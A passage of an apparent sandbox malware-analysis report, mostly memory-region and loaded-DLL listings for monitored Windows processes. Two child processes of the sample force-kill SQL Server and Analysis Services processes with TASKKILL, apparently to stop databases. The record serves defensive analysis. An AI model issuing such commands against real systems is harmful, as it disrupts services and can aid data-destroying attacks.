= "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3289 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3290 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3291 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3292 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3293 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3294 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3295 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3296 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3297 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 3298 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3299 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3300 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3301 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3302 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3303 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3304 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3305 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 3306 start_va = 0x300000 end_va = 0x3bffff entry_point = 0x300000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3307 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 3308 start_va = 0x880000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3309 start_va = 0x920000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 3310 start_va = 0xa00000 end_va = 0xa3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 3311 start_va = 0xc50000 end_va = 0x204ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 3312 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3313 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3314 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3315 start_va = 0x6a580000 end_va = 0x6a5dbfff entry_point = 0x6a5a2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3316 start_va = 0x6a720000 end_va = 0x6a729fff entry_point = 0x6a72149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3317 start_va = 0xb30000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 3318 start_va = 0x2050000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3319 start_va = 0x6a550000 end_va = 0x6a578fff entry_point = 0x6a556b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3320 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3321 start_va = 0xa70000 end_va = 0xaaffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 3322 start_va = 0x2150000 end_va = 0x241efff entry_point = 0x2150000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3323 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3324 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3325 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3326 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3327 start_va = 0x840000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3328 start_va = 0x9b0000 end_va = 0x9effff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 3329 start_va = 0xac0000 end_va = 0xafffff entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3330 start_va = 0xb70000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 3331 start_va = 0x6a710000 end_va = 0x6a71efff entry_point = 0x6a7121a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3332 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3333 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3334 start_va = 0x6a490000 end_va = 0x6a4a7fff entry_point = 0x6a491335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3335 start_va = 0x6a4b0000 end_va = 0x6a545fff entry_point = 0x6a4cf8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 206 os_tid = 0xa08 Thread: id = 207 os_tid = 0xa04 Thread: id = 208 os_tid = 0xa00 Thread: id = 209 os_tid = 0x9f0 Thread: id = 210 os_tid = 0xa10 Process: id = "26" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x57efd000" os_pid = "0xa18" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3336 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3337 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3338 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3339 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3340 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3341 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3342 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3343 start_va = 0x2f0000 end_va = 0x305fff entry_point = 0x2f5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3344 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3345 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3346 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3347 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3348 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3349 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3350 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3351 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3352 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3353 start_va = 0x4e0000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 3354 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3355 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3356 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3357 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3358 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3359 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3360 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3361 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3362 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3363 start_va = 0x730000 end_va = 0x82ffff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3364 start_va = 0x6a4f0000 end_va = 0x6a5dafff entry_point = 0x6a4f13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3365 start_va = 0x6a8a0000 end_va = 0x6a8d4fff entry_point = 0x6a8a13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3366 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3367 start_va = 0x6a8f0000 end_va = 0x6a8f8fff entry_point = 0x6a8f15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3368 start_va = 0x6a900000 end_va = 0x6a910fff entry_point = 0x6a901300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3369 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3370 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3371 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3372 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3373 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3374 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3375 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3376 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3377 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3378 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3379 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3380 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3381 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3382 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3383 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3384 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3385 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3386 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3387 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3388 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3389 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3390 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3391 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3392 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3393 start_va = 0x310000 end_va = 0x497fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 3394 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3395 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3396 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3397 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3398 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3399 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3400 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3401 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3402 start_va = 0x1b0000 end_va = 0x26ffff entry_point = 0x1b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3403 start_va = 0x560000 end_va = 0x6e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 3404 start_va = 0x830000 end_va = 0x1c2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 3405 start_va = 0x1d90000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 3406 start_va = 0x1dd0000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 3407 start_va = 0x1e50000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3408 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3409 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3410 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 3411 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3412 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3413 start_va = 0x1d00000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 3414 start_va = 0x1e90000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 3415 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3416 start_va = 0x1e10000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 3417 start_va = 0x1f90000 end_va = 0x225efff entry_point = 0x1f90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3418 start_va = 0x22c0000 end_va = 0x22fffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 3419 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3420 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3421 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3422 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3423 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 3424 start_va = 0x1d50000 end_va = 0x1d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 3425 start_va = 0x2270000 end_va = 0x22affff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 3426 start_va = 0x23c0000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 3427 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3428 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3429 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3430 start_va = 0x6a450000 end_va = 0x6a4e5fff entry_point = 0x6a46f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 3431 start_va = 0x6a7d0000 end_va = 0x6a7e7fff entry_point = 0x6a7d1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 211 os_tid = 0x600 Thread: id = 212 os_tid = 0x5f8 Thread: id = 213 os_tid = 0x634 Thread: id = 214 os_tid = 0x510 Thread: id = 215 os_tid = 0x68c Process: id = "27" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x58bc2000" os_pid = "0x16c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3432 start_va = 0x10000 end_va = 0x2ffff entry_point 